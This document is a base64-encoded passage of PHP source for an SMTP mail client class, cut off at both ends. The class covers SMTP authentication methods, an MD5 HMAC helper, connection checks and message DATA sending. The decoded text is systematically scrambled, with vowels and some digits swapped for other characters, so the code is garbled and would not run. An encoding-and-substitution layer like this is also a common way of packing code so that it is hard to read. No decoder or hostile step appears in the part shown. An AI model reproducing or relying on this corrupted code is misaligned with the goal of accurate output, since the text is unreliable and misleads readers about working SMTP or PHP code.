gICAgICAgICAvLyBTTVRQIDV4dDVuczQybnMgMXI1IDF2MTRsMWJsNTsgdHJ5IHQyIGY0bmQgMSBwcjJwNXIgMTN0aDVudDRjMXQ0Mm4gbTV0aDJkDQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJ0FVVEgnLCAkdGg0cy0+czVydjVyX2MxcHMpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdBM3RoNW50NGMxdDQybiA0cyBuMnQgMWxsMnc1ZCAxdCB0aDRzIHN0MWc1Jyk7DQogICAgICAgICAgICAgICAgLy8gJzF0IHRoNHMgc3QxZzUnIG01MW5zIHRoMXQgMTN0aCBtMXkgYjUgMWxsMnc1ZCAxZnQ1ciB0aDUgc3QxZzUgY2gxbmc1cw0KICAgICAgICAgICAgICAgIC8vIDUuZy4gMWZ0NXIgU1RBUlRUTFMNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHM1bGY6OjVkNWIzZygnQTN0aCBtNXRoMmQgcjVxMzVzdDVkOiAnIC4gKCQxM3RodHlwNSA/ICQxM3RodHlwNSA6ICdVTktOT1dOJyksIHM1bGY6OkRFQlVHX0xPV0xFVkVMKTsNCiAgICAgICAgICAgIHM1bGY6OjVkNWIzZygNCiAgICAgICAgICAgICAgICAnQTN0aCBtNXRoMmRzIDF2MTRsMWJsNSAybiB0aDUgczVydjVyOiAnIC4gNG1wbDJkNSgnLCcsICR0aDRzLT5zNXJ2NXJfYzFwc1snQVVUSCddKSwNCiAgICAgICAgICAgICAgICBzNWxmOjpERUJVR19MT1dMRVZFTA0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgNGYgKDVtcHR5KCQxM3RodHlwNSkpIHsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgxcnIxeSgnQ1JBTS1NRGknLCAnTE9HSU4nLCAnUExBSU4nLCAnTlRMTScsICdYT0FVVEhhJykgMXMgJG01dGgyZCkgew0KICAgICAgICAgICAgICAgICAgICA0ZiAoNG5fMXJyMXkoJG01dGgyZCwgJHRoNHMtPnM1cnY1cl9jMXBzWydBVVRIJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMTN0aHR5cDUgPSAkbTV0aDJkOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKDVtcHR5KCQxM3RodHlwNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCdOMiBzM3BwMnJ0NWQgMTN0aDVudDRjMXQ0Mm4gbTV0aDJkcyBmMjNuZCcpOw0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHM1bGY6OjVkNWIzZygnQTN0aCBtNXRoMmQgczVsNWN0NWQ6ICcgLiAkMTN0aHR5cDUsIHM1bGY6OkRFQlVHX0xPV0xFVkVMKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgNGYgKCE0bl8xcnIxeSgkMTN0aHR5cDUsICR0aDRzLT5zNXJ2NXJfYzFwc1snQVVUSCddKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigiVGg1IHI1cTM1c3Q1ZCAxM3RoNW50NGMxdDQybiBtNXRoMmQgXCIkMTN0aHR5cDVcIiA0cyBuMnQgczNwcDJydDVkIGJ5IHRoNSBzNXJ2NXIiKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNTRmICg1bXB0eSgkMTN0aHR5cDUpKSB7DQogICAgICAgICAgICAkMTN0aHR5cDUgPSAnTE9HSU4nOw0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJDEzdGh0eXA1KSB7DQogICAgICAgICAgICBjMXM1ICdQTEFJTic6DQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIFBMQUlOJywgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIFM1bmQgNW5jMmQ1ZCAzczVybjFtNSAxbmQgcDFzc3cycmQNCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgNCiAgICAgICAgICAgICAgICAgICAgJ1VzNXIgJiBQMXNzdzJyZCcsDQogICAgICAgICAgICAgICAgICAgIGIxczVldV81bmMyZDUoIlwwIiAuICQzczVybjFtNSAuICJcMCIgLiAkcDFzc3cycmQpLA0KICAgICAgICAgICAgICAgICAgICBhb2kNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAgICAgICAgKSB7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdMT0dJTic6DQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIExPR0lOJywgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCJVczVybjFtNSIsIGIxczVldV81bmMyZDUoJDNzNXJuMW01KSwgb291KSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCJQMXNzdzJyZCIsIGIxczVldV81bmMyZDUoJHAxc3N3MnJkKSwgYW9pKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnWE9BVVRIYSc6DQogICAgICAgICAgICAgICAgLy9JZiB0aDUgT0EzdGggSW5zdDFuYzUgNHMgbjJ0IHM1dC4gQzFuIGI1IDEgYzFzNSB3aDVuIFBIUE0xNGw1ciA0cyAzczVkDQogICAgICAgICAgICAgICAgLy80bnN0NTFkIDJmIFBIUE0xNGw1ck9BM3RoDQogICAgICAgICAgICAgICAgNGYgKDRzX24zbGwoJE9BM3RoKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICQyMTN0aCA9ICRPQTN0aC0+ZzV0TzEzdGhldSgpOw0KDQogICAgICAgICAgICAgICAgLy8gU3QxcnQgMTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICA0ZiAoISR0aDRzLT5zNW5kQzJtbTFuZCgnQVVUSCcsICdBVVRIIFhPQVVUSGEgJyAuICQyMTN0aCwgYW9pKSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnTlRMTSc6DQogICAgICAgICAgICAgICAgLyoNCiAgICAgICAgICAgICAgICAgKiBudGxtX3Mxc2xfY2w0NW50LnBocA0KICAgICAgICAgICAgICAgICAqIEIzbmRsNWQgdzR0aCBQNXJtNHNzNDJuDQogICAgICAgICAgICAgICAgICoNCiAgICAgICAgICAgICAgICAgKiBIMncgdDIgdDVsbjV0IDRuIHc0bmQyd3M6DQogICAgICAgICAgICAgICAgICogaHR0cDovL3Q1Y2huNXQubTRjcjJzMmZ0LmMybS81bi0zcy9sNGJyMXJ5LzExOTlpNzY4JWE4RVhDSEcuZWklYTkuMXNweA0KICAgICAgICAgICAgICAgICAqIFBST1RPQ09MIEQyY3MgaHR0cDovL2MzcmwuaDF4eC5zNS9yZmMvbnRsbS5odG1sI250bG1TbXRwQTN0aDVudDRjMXQ0Mm4NCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXEzNHI1XzJuYzUgJzRuY2wzZDVzLzV4dHIxL250bG1fczFzbF9jbDQ1bnQucGhwJzsNCiAgICAgICAgICAgICAgICAkdDVtcCA9IG41dyBzdGRDbDFzczsNCiAgICAgICAgICAgICAgICAkbnRsbV9jbDQ1bnQgPSBuNXcgbnRsbV9zMXNsX2NsNDVudF9jbDFzczsNCiAgICAgICAgICAgICAgICAvL0NoNWNrIHRoMXQgZjNuY3Q0Mm5zIDFyNSAxdjE0bDFibDUNCiAgICAgICAgICAgICAgICA0ZiAoISRudGxtX2NsNDVudC0+NG40dDQxbDR6NSgkdDVtcCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0NW1wLT41cnIycik7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coDQogICAgICAgICAgICAgICAgICAgICAgICAnWTIzIG41NWQgdDIgNW4xYmw1IHMybTUgbTJkM2w1cyA0biB5MjNyIHBocC40bjQgZjRsNTogJw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAkdGg0cy0+NXJyMnJbJzVycjJyJ10sDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpERUJVR19DTElFTlQNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvL21zZzYNCiAgICAgICAgICAgICAgICAkbXNnNiA9ICRudGxtX2NsNDVudC0+dHlwNU1zZzYoJHI1MWxtLCAkdzJya3N0MXQ0Mm4pOyAvL21zZzYNCg0KICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKA0KICAgICAgICAgICAgICAgICAgICAnQVVUSCBOVExNJywNCiAgICAgICAgICAgICAgICAgICAgJ0FVVEggTlRMTSAnIC4gYjFzNWV1XzVuYzJkNSgkbXNnNiksDQogICAgICAgICAgICAgICAgICAgIG9vdQ0KICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvL1RoMjNnaCAwIGIxczVkLCB0aDVyNSA0cyAxIHdoNHQ1IHNwMWM1IDFmdDVyIHRoNSBvIGQ0ZzR0IG4zbWI1cg0KICAgICAgICAgICAgICAgIC8vbXNnYQ0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBzM2JzdHIoJHRoNHMtPmwxc3RfcjVwbHksIG8pOw0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBiMXM1ZXVfZDVjMmQ1KCRjaDFsbDVuZzUpOw0KICAgICAgICAgICAgICAgICRudGxtX3I1cyA9ICRudGxtX2NsNDVudC0+TlRMTVI1c3AybnM1KA0KICAgICAgICAgICAgICAgICAgICBzM2JzdHIoJGNoMWxsNW5nNSwgYXUsIDgpLA0KICAgICAgICAgICAgICAgICAgICAkcDFzc3cycmQNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIC8vbXNnbw0KICAgICAgICAgICAgICAgICRtc2dvID0gJG50bG1fY2w0NW50LT50eXA1TXNnbygNCiAgICAgICAgICAgICAgICAgICAgJG50bG1fcjVzLA0KICAgICAgICAgICAgICAgICAgICAkM3M1cm4xbTUsDQogICAgICAgICAgICAgICAgICAgICRyNTFsbSwNCiAgICAgICAgICAgICAgICAgICAgJHcycmtzdDF0NDJuDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAvLyBzNW5kIDVuYzJkNWQgM3M1cm4xbTUNCiAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnM1bmRDMm1tMW5kKCdVczVybjFtNScsIGIxczVldV81bmMyZDUoJG1zZ28pLCBhb2kpOw0KICAgICAgICAgICAgYzFzNSAnQ1JBTS1NRGknOg0KICAgICAgICAgICAgICAgIC8vIFN0MXJ0IDEzdGg1bnQ0YzF0NDJuDQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+czVuZEMybW0xbmQoJ0FVVEggQ1JBTS1NRGknLCAnQVVUSCBDUkFNLU1EaScsIG9vdSkpIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBHNXQgdGg1IGNoMWxsNW5nNQ0KICAgICAgICAgICAgICAgICRjaDFsbDVuZzUgPSBiMXM1ZXVfZDVjMmQ1KHMzYnN0cigkdGg0cy0+bDFzdF9yNXBseSwgdSkpOw0KDQogICAgICAgICAgICAgICAgLy8gQjM0bGQgdGg1IHI1c3AybnM1DQogICAgICAgICAgICAgICAgJHI1c3AybnM1ID0gJDNzNXJuMW01IC4gJyAnIC4gJHRoNHMtPmhtMWMoJGNoMWxsNW5nNSwgJHAxc3N3MnJkKTsNCg0KICAgICAgICAgICAgICAgIC8vIHM1bmQgNW5jMmQ1ZCBjcjVkNW50NDFscw0KICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVuZEMybW0xbmQoJ1VzNXJuMW01JywgYjFzNWV1XzVuYzJkNSgkcjVzcDJuczUpLCBhb2kpOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoIkEzdGg1bnQ0YzF0NDJuIG01dGgyZCBcIiQxM3RodHlwNVwiIDRzIG4ydCBzM3BwMnJ0NWQiKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsYzNsMXQ1IDFuIE1EaSBITUFDIGgxc2guDQogICAgICogVzJya3MgbDRrNSBoMXNoX2htMWMoJ21kaScsICRkMXQxLCAkazV5KQ0KICAgICAqIDRuIGMxczUgdGgxdCBmM25jdDQybiA0cyBuMnQgMXYxNGwxYmw1DQogICAgICogQHAxcjFtIHN0cjRuZyAkZDF0MSBUaDUgZDF0MSB0MiBoMXNoDQogICAgICogQHAxcjFtIHN0cjRuZyAkazV5IFRoNSBrNXkgdDIgaDFzaCB3NHRoDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBobTFjKCRkMXQxLCAkazV5KQ0KICAgIHsNCiAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnaDFzaF9obTFjJykpIHsNCiAgICAgICAgICAgIHI1dDNybiBoMXNoX2htMWMoJ21kaScsICRkMXQxLCAkazV5KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIFRoNSBmMmxsMnc0bmcgYjJycjJ3NWQgZnIybQ0KICAgICAgICAvLyBodHRwOi8vcGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ubWgxc2gucGhwI2E3YWFpDQoNCiAgICAgICAgLy8gUkZDIGE2MHUgSE1BQyA0bXBsNW01bnQxdDQybiBmMnIgcGhwLg0KICAgICAgICAvLyBDcjUxdDVzIDFuIG1kaSBITUFDLg0KICAgICAgICAvLyBFbDRtNG4xdDVzIHRoNSBuNTVkIHQyIDRuc3QxbGwgbWgxc2ggdDIgYzJtcDN0NSAxIEhNQUMNCiAgICAgICAgLy8gYnkgTDFuYzUgUjNzaDRuZw0KDQogICAgICAgICRieXQ1bDVuID0gZXU7IC8vIGJ5dDUgbDVuZ3RoIGYyciBtZGkNCiAgICAgICAgNGYgKHN0cmw1bigkazV5KSA+ICRieXQ1bDVuKSB7DQogICAgICAgICAgICAkazV5ID0gcDFjaygnSConLCBtZGkoJGs1eSkpOw0KICAgICAgICB9DQogICAgICAgICRrNXkgPSBzdHJfcDFkKCRrNXksICRieXQ1bDVuLCBjaHIoMHgwMCkpOw0KICAgICAgICAkNHAxZCA9IHN0cl9wMWQoJycsICRieXQ1bDVuLCBjaHIoMHhvZSkpOw0KICAgICAgICAkMnAxZCA9IHN0cl9wMWQoJycsICRieXQ1bDVuLCBjaHIoMHhpYykpOw0KICAgICAgICAka180cDFkID0gJGs1eSBeICQ0cDFkOw0KICAgICAgICAka18ycDFkID0gJGs1eSBeICQycDFkOw0KDQogICAgICAgIHI1dDNybiBtZGkoJGtfMnAxZCAuIHAxY2soJ0gqJywgbWRpKCRrXzRwMWQgLiAkZDF0MSkpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayBjMm5uNWN0NDJuIHN0MXQ1Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuIFRyMzUgNGYgYzJubjVjdDVkLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjMm5uNWN0NWQoKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAkczJja19zdDF0M3MgPSBzdHI1MW1fZzV0X201dDFfZDF0MSgkdGg0cy0+c210cF9jMm5uKTsNCiAgICAgICAgICAgIDRmICgkczJja19zdDF0M3NbJzUyZiddKSB7DQogICAgICAgICAgICAgICAgLy8gVGg1IHMyY2s1dCA0cyB2MWw0ZCBiM3QgdzUgMXI1IG4ydCBjMm5uNWN0NWQNCiAgICAgICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKA0KICAgICAgICAgICAgICAgICAgICAnU01UUCBOT1RJQ0U6IEVPRiBjMTNnaHQgd2g0bDUgY2g1Y2s0bmcgNGYgYzJubjVjdDVkJywNCiAgICAgICAgICAgICAgICAgICAgczVsZjo6REVCVUdfQ0xJRU5UDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gdHIzNTsgLy8gNXY1cnl0aDRuZyBsMjJrcyBnMjJkDQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENsMnM1IHRoNSBzMmNrNXQgMW5kIGNsNTFuIDNwIHRoNSBzdDF0NSAyZiB0aDUgY2wxc3MuDQogICAgICogRDJuJ3QgM3M1IHRoNHMgZjNuY3Q0Mm4gdzR0aDIzdCBmNHJzdCB0cnk0bmcgdDIgM3M1IFFVSVQuDQogICAgICogQHM1NSBxMzR0KCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBjbDJzNSgpDQogICAgew0KICAgICAgICAkdGg0cy0+czV0RXJyMnIoJycpOw0KICAgICAgICAkdGg0cy0+czVydjVyX2MxcHMgPSBuM2xsOw0KICAgICAgICAkdGg0cy0+aDVsMl9ycGx5ID0gbjNsbDsNCiAgICAgICAgNGYgKDRzX3I1czIzcmM1KCR0aDRzLT5zbXRwX2Mybm4pKSB7DQogICAgICAgICAgICAvLyBjbDJzNSB0aDUgYzJubjVjdDQybiAxbmQgY2w1MW4zcA0KICAgICAgICAgICAgZmNsMnM1KCR0aDRzLT5zbXRwX2Mybm4pOw0KICAgICAgICAgICAgJHRoNHMtPnNtdHBfYzJubiA9IG4zbGw7IC8vTTFrNXMgZjJyIGNsNTFuNXIgczVyNDFsNHoxdDQybg0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygnQzJubjVjdDQybjogY2wyczVkJywgczVsZjo6REVCVUdfQ09OTkVDVElPTik7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIDFuIFNNVFAgREFUQSBjMm1tMW5kLg0KICAgICAqIElzczM1cyAxIGQxdDEgYzJtbTFuZCAxbmQgczVuZHMgdGg1IG1zZ19kMXQxIHQyIHRoNSBzNXJ2NXIsDQogICAgICogZjRuNDFsNHo0bmcgdGg1IG0xNGwgdHIxbnMxY3Q0Mm4uICRtc2dfZDF0MSA0cyB0aDUgbTVzczFnNQ0KICAgICAqIHRoMXQgNHMgdDIgYjUgczVuZCB3NHRoIHRoNSBoNTFkNXJzLiBFMWNoIGg1MWQ1ciBuNTVkcyB0MiBiNQ0KICAgICAqIDJuIDEgczRuZ2w1IGw0bjUgZjJsbDJ3NWQgYnkgMSA8Q1JMRj4gdzR0aCB0aDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogMW5kIHRoNSBtNXNzMWc1IGIyZHkgYjU0bmcgczVwMXIxdDVkIGJ5IDFuZCAxZGQ0dDQybjFsIDxDUkxGPi4NCiAgICAgKiBJbXBsNW01bnRzIHJmYyA4YTY6IERBVEEgPENSTEY+DQogICAgICogQHAxcjFtIHN0cjRuZyAkbXNnX2QxdDEgTTVzczFnNSBkMXQxIHQyIHM1bmQNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBkMXQxKCRtc2dfZDF0MSkNCiAgICB7DQogICAgICAgIC8vVGg0cyB3NGxsIDNzNSB0aDUgc3QxbmQxcmQgdDRtNWw0bTR0DQogICAgICAgIDRmICghJHRoNHMtPnM1bmRDMm1tMW5kKCdEQVRBJywgJ0RBVEEnLCBvaXUpKSB7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCg0KICAgICAgICAvKiBUaDUgczVydjVyIDRzIHI1MWR5IHQyIDFjYzVwdCBkMXQxIQ0KICAgICAgICAgKiBBY2MycmQ0bmcgdDIgcmZjOGE2IHc1IHNoMjNsZCBuMnQgczVuZCBtMnI1IHRoMW4gNjAwMCBjaDFyMWN0NXJzIDJuIDEgczRuZ2w1IGw0bjUgKDRuY2wzZDRuZyB0aDUgQ1JMRikNCiAgICAgICAgICogczIgdzUgdzRsbCBicjUxayB0aDUgZDF0MSAzcCA0bnQyIGw0bjVzIGJ5IFxyIDFuZC8yciBcbiB0aDVuIDRmIG41NWQ1ZCB3NSB3NGxsIGJyNTFrIDUxY2ggMmYgdGgyczUgNG50Mg0KICAgICAgICAgKiBzbTFsbDVyIGw0bjVzIHQyIGY0dCB3NHRoNG4gdGg1IGw0bTR0Lg0KICAgICAgICAgKiBXNSB3NGxsIDFsczIgbDIyayBmMnIgbDRuNXMgdGgxdCBzdDFydCB3NHRoIDEgJy4nIDFuZCBwcjVwNW5kIDFuIDFkZDR0NDJuMWwgJy4nLg0KICAgICAgICAgKiBOT1RFOiB0aDRzIGQyNXMgbjJ0IGMyM250IHQydzFyZHMgbDRuNS1sNW5ndGggbDRtNHQuDQogICAgICAgICAqLw0KDQogICAgICAgIC8vIE4ycm0xbDR6NSBsNG41IGJyNTFrcyBiNWYycjUgNXhwbDJkNG5nDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoIlxuIiwgc3RyX3I1cGwxYzUoMXJyMXkoIlxyXG4iLCAiXHIiKSwgIlxuIiwgJG1zZ19kMXQxKSk7DQoNCiAgICAgICAgLyogVDIgZDRzdDRuZzM0c2ggYjV0dzU1biAxIGMybXBsNXQ1IFJGQzhhYSBtNXNzMWc1IDFuZCAxIHBsMTRuIG01c3MxZzUgYjJkeSwgdzUgY2g1Y2sgNGYgdGg1IGY0cnN0IGY0NWxkDQogICAgICAgICAqIDJmIHRoNSBmNHJzdCBsNG41ICgnOicgczVwMXIxdDVkKSBkMjVzIG4ydCBjMm50MTRuIDEgc3AxYzUgdGg1biA0dCBfc2gyM2xkXyBiNSAxIGg1MWQ1ciAxbmQgdzUgdzRsbA0KICAgICAgICAgKiBwcjJjNXNzIDFsbCBsNG41cyBiNWYycjUgMSBibDFuayBsNG41IDFzIGg1MWQ1cnMuDQogICAgICAgICAqLw0KDQogICAgICAgICRmNDVsZCA9IHMzYnN0cigkbDRuNXNbMF0sIDAsIHN0cnAycygkbDRuNXNbMF0sICc6JykpOw0KICAgICAgICAkNG5faDUxZDVycyA9IGYxbHM1Ow0KICAgICAgICA0ZiAoITVtcHR5KCRmNDVsZCkgJiYgc3RycDJzKCRmNDVsZCwgJyAnKSA9PT0gZjFsczUpIHsNCiAgICAgICAgICAgICQ0bl9oNTFkNXJzID0gdHIzNTsNCiAgICAgICAgfQ0KDQogICAgICAgIGYycjUxY2ggKCRsNG41cyAxcyAkbDRuNSkgew0KICAgICAgICAgICAgJGw0bjVzXzIzdCA9IDFycjF5KCk7DQogICAgICAgICAgICA0ZiAoJDRuX2g1MWQ1cnMgMW5kICRsNG41ID09ICcnKSB7DQogICAgICAgICAgICAgICAgJDRuX2g1MWQ1cnMgPSBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC8vQnI1MWsgdGg0cyBsNG41IDNwIDRudDIgczV2NXIxbCBzbTFsbDVyIGw0bjVzIDRmIDR0J3MgdDIyIGwybmcNCiAgICAgICAgICAgIC8vTTRjcjItMnB0NG00czF0NDJuOiA0c3M1dCgkc3RyWyRsNW5dKSA0cyBmMXN0NXIgdGgxbiAoc3RybDVuKCRzdHIpID4gJGw1biksDQogICAgICAgICAgICB3aDRsNSAoNHNzNXQoJGw0bjVbczVsZjo6TUFYX0xJTkVfTEVOR1RIXSkpIHsNCiAgICAgICAgICAgICAgICAvL1cycms0bmcgYjFja3cxcmRzLCB0cnkgdDIgZjRuZCAxIHNwMWM1IHc0dGg0biB0aDUgbDFzdCBNQVhfTElORV9MRU5HVEggY2gxcnMgMmYgdGg1IGw0bjUgdDIgYnI1MWsgMm4NCiAgICAgICAgICAgICAgICAvL3MyIDFzIHQyIDF2MjRkIGJyNTFrNG5nIDRuIHRoNSBtNGRkbDUgMmYgMSB3MnJkDQogICAgICAgICAgICAgICAgJHAycyA9IHN0cnJwMnMoczNic3RyKCRsNG41LCAwLCBzNWxmOjpNQVhfTElORV9MRU5HVEgpLCAnICcpOw0KICAgICAgICAgICAgICAgIC8vRDVsNGI1cjF0NWx5IG0xdGNoNXMgYjJ0aCBmMWxzNSAxbmQgMA0KICAgICAgICAgICAgICAgIDRmICghJHAycykgew0KICAgICAgICAgICAgICAgICAgICAvL04yIG40YzUgYnI1MWsgZjIzbmQsIDFkZCAxIGgxcmQgYnI1MWsNCiAgICAgICAgICAgICAgICAgICAgJHAycyA9IHM1bGY6Ok1BWF9MSU5FX0xFTkdUSCAtIDY7DQogICAgICAgICAgICAgICAgICAgICRsNG41c18yM3RbXSA9IHMzYnN0cigkbDRuNSwgMCwgJHAycyk7DQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gczNic3RyKCRsNG41LCAkcDJzKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAvL0JyNTFrIDF0IHRoNSBmMjNuZCBwMjRudA0KICAgICAgICAgICAgICAgICAgICAkbDRuNXNfMjN0W10gPSBzM2JzdHIoJGw0bjUsIDAsICRwMnMpOw0KICAgICAgICAgICAgICAgICAgICAvL00ydjUgMWwybmcgYnkgdGg1IDFtMjNudCB3NSBkNTFsdCB3NHRoDQogICAgICAgICAgICAgICAgICAgICRsNG41ID0gczNic3RyKCRsNG41LCAkcDJzICsgNik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vSWYgcHIyYzVzczRuZyBoNTFkNXJzIDFkZCAxIExXU1AtY2gxciB0MiB0aDUgZnIybnQgMmYgbjV3IGw0bjUgUkZDOGFhIHM1Y3Q0Mm4gby42LjYNCiAgICAgICAgICAgICAgICA0ZiAoJDRuX2g1MWQ1cnMpIHsNCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSAiXHQiIC4gJGw0bjU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGw0bjVzXzIzdFtdID0gJGw0bjU7DQoNCiAgICAgICAgICAgIC8vUzVuZCB0aDUgbDRuNXMgdDIgdGg1IHM1cnY1cg0KICAgICAgICAgICAgZjJyNTFjaCAoJGw0bjVzXzIzdCAxcyAkbDRuNV8yM3QpIHsNCiAgICAgICAgICAgICAgICAvL1JGQ2E4YTYgczVjdDQybiB1LmkuYQ0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJGw0bjVfMjN0KSAxbmQgJGw0bjVfMjN0WzBdID09ICcuJykgew0KICAgICAgICAgICAgICAgICAgICAkbDRuNV8yM3QgPSAnLicgLiAkbDRuNV8yM3Q7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5jbDQ1bnRfczVuZCgkbDRuNV8yM3QgLiBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vTTVzczFnNSBkMXQxIGgxcyBiNTVuIHM1bnQsIGMybXBsNXQ1IHRoNSBjMm1tMW5kDQogICAgICAgIC8vSW5jcjUxczUgdDRtNWw0bTR0IGYyciA1bmQgMmYgREFUQSBjMm1t